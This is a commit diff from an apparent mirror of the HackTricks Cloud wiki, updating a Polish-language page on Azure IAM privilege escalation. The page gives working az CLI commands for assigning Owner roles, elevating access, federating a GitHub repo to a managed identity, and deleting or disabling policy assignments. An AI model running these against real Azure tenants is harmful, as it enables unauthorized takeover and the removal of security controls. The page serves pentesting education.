mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+99
-9
@@ -1,10 +1,10 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
# Az - Azure IAM Privesc (Autoryzacja)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
Aby uzyskać więcej informacji, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,14 +12,14 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co umożliwia atakującemu eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli:
|
||||
To uprawnienie pozwala przypisywać role principalom w określonym zakresie, umożliwiając atakującemu eskalację uprawnień poprzez przypisanie sobie roli o wyższych uprawnieniach:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co umożliwia atakującemu eskalację uprawnień poprzez przyznanie większych uprawnień roli, którą przypisał.
|
||||
To uprawnienie pozwala modyfikować prawa przypisane do roli, co umożliwia atakującemu eskalację uprawnień przez przyznanie tej roli dodatkowych uprawnień.
|
||||
|
||||
Utwórz plik `role.json` z następującą **zawartością**:
|
||||
```json
|
||||
@@ -36,16 +36,16 @@ Utwórz plik `role.json` z następującą **zawartością**:
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Następnie zaktualizuj uprawnienia roli zgodnie z poprzednią definicją, wywołując:
|
||||
Następnie zaktualizuj uprawnienia roli, używając poprzedniej definicji, wywołując:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
To uprawnienie pozwala na podniesienie uprawnień i możliwość przypisywania uprawnień do dowolnego podmiotu do zasobów Azure. Jest przeznaczone dla Globalnych Administratorów Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure.
|
||||
To uprawnienie pozwala na eskalację uprawnień i przypisywanie uprawnień dowolnemu principalowi w zasobach Azure. Ma być nadawane Entra ID Global Administrators, aby mogli również zarządzać uprawnieniami do zasobów Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Uważam, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie podniesienia działało.
|
||||
> Myślę, że użytkownik musi być Global Administrator w Entra ID, aby wywołanie elevate zadziałało.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na **dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości**.
|
||||
To uprawnienie pozwala dodawać Federated credentials do managed identities. Np. przyznać Github Actions w repo dostęp do managed identity. Następnie umożliwia to **uzyskanie dostępu do dowolnej zdefiniowanej przez użytkownika managed identity**.
|
||||
|
||||
Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości:
|
||||
Przykładowe polecenie, aby przyznać repo w Github dostęp do managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Atakujący posiadający uprawnienie `Microsoft.Authorization/policyAssignments/write` lub `Microsoft.Authorization/policyAssignments/delete` nad grupą zarządzania, subskrypcją lub grupą zasobów może **zmodyfikować lub usunąć przypisania zasad w Azure**, co może potencjalnie **wyłączyć ograniczenia bezpieczeństwa**, które blokują określone operacje.
|
||||
|
||||
Pozwala to uzyskać dostęp do zasobów lub funkcji, które wcześniej były chronione przez zasady.
|
||||
|
||||
**Usuń przypisanie zasad:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Wyłącz przypisanie zasad:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Zweryfikuj zmiany:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Atakujący posiadający uprawnienie `Microsoft.Authorization/policyDefinitions/write` może **modyfikować definicje polityk Azure**, zmieniając reguły, które kontrolują ograniczenia bezpieczeństwa w całym środowisku.
|
||||
|
||||
Na przykład polityka ograniczająca dozwolone regiony tworzenia zasobów może zostać zmieniona tak, aby zezwalać na dowolny region, albo efekt polityki może zostać zmieniony, aby uczynić ją nieskuteczną.
|
||||
|
||||
**Modyfikacja definicji polityki:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Zweryfikuj zmiany:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Atakujący z uprawnieniem `Microsoft.Management/managementGroups/write` może **zmodyfikować hierarchiczną strukturę management groups** lub **utworzyć nowe management groups**, potencjalnie omijając restrykcyjne polityki zastosowane na wyższych poziomach.
|
||||
|
||||
Na przykład atakujący może utworzyć nowy management group bez restrykcyjnych polityk, a następnie przenieść do niego subscriptions.
|
||||
|
||||
**Utwórz nowy management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Modyfikacja hierarchii grup zarządzania:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Zweryfikuj zmiany:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Atakujący z uprawnieniem `Microsoft.Management/managementGroups/subscriptions/write` może **przenosić subskrypcje pomiędzy management groups**, co pozwala mu potencjalnie **omijać restrykcyjne polityki** poprzez przeniesienie subskrypcji do grupy o mniej restrykcyjnych lub braku polityk.
|
||||
|
||||
**Przenieś subskrypcję do innej management group:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Zweryfikuj zmiany:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user